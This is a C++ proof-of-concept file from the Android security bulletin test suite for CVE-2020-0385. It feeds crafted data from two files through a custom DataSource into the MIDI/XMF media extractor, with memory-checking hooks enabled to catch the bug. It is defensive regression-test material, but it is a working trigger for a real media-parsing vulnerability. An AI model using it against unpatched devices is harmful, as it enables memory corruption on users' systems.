hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp

/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <media/stagefright/MediaExtractor.h>
#include <media/MediaDefs.h>

#include "../includes/common.h"
#include "../includes/memutils.h"

char enable_selective_overload = ENABLE_NONE;

using namespace android;

class XMFDataSource : public DataSource {
 public:
  int mFdData;
  int mFdInfo;
  XMFDataSource(int fdData, int fdInfo) {
    mFdData = fdData;
    mFdInfo = fdInfo;
  }

  ~XMFDataSource() = default;

  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
    uint32_t infoOffset, infoSize;
    read(mFdInfo, &infoSize, sizeof(int32_t));
    read(mFdInfo, &infoOffset, sizeof(int32_t));
    lseek(mFdData, infoOffset, SEEK_SET);
    read(mFdData, data, infoSize);
    return size;
  }

  virtual status_t getSize(off64_t *size) {
    *size = 0x10000;
    return 0;
  }
  virtual status_t initCheck() const { return 0; }
};

void close_resources(int fdData, int fdInfo) {
  if (fdData >= 0) {
    ::close(fdData);
  }
  if (fdInfo >= 0) {
    ::close(fdInfo);
  }
}

int main(int argc, char **argv) {
  if (argc < 3) {
    return EXIT_FAILURE;
  }
  enable_selective_overload = ENABLE_ALL;

  int fdData = open(argv[1], O_RDONLY);
  if (fdData < 0) {
    return EXIT_FAILURE;
  }
  int fdInfo = open(argv[2], O_RDONLY);
  if (fdInfo < 0) {
    close_resources(fdData, fdInfo);
    return EXIT_FAILURE;
  }

  sp<DataSource> xmfSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
  if (xmfSource == nullptr) {
    close_resources(fdData, fdInfo);
    return EXIT_FAILURE;
  }

  sp<IMediaExtractor> extractor =
      MediaExtractor::CreateFromService(xmfSource, MEDIA_MIMETYPE_AUDIO_MIDI);

  close_resources(fdData, fdInfo);
  enable_selective_overload = ENABLE_NONE;
  return EXIT_SUCCESS;
}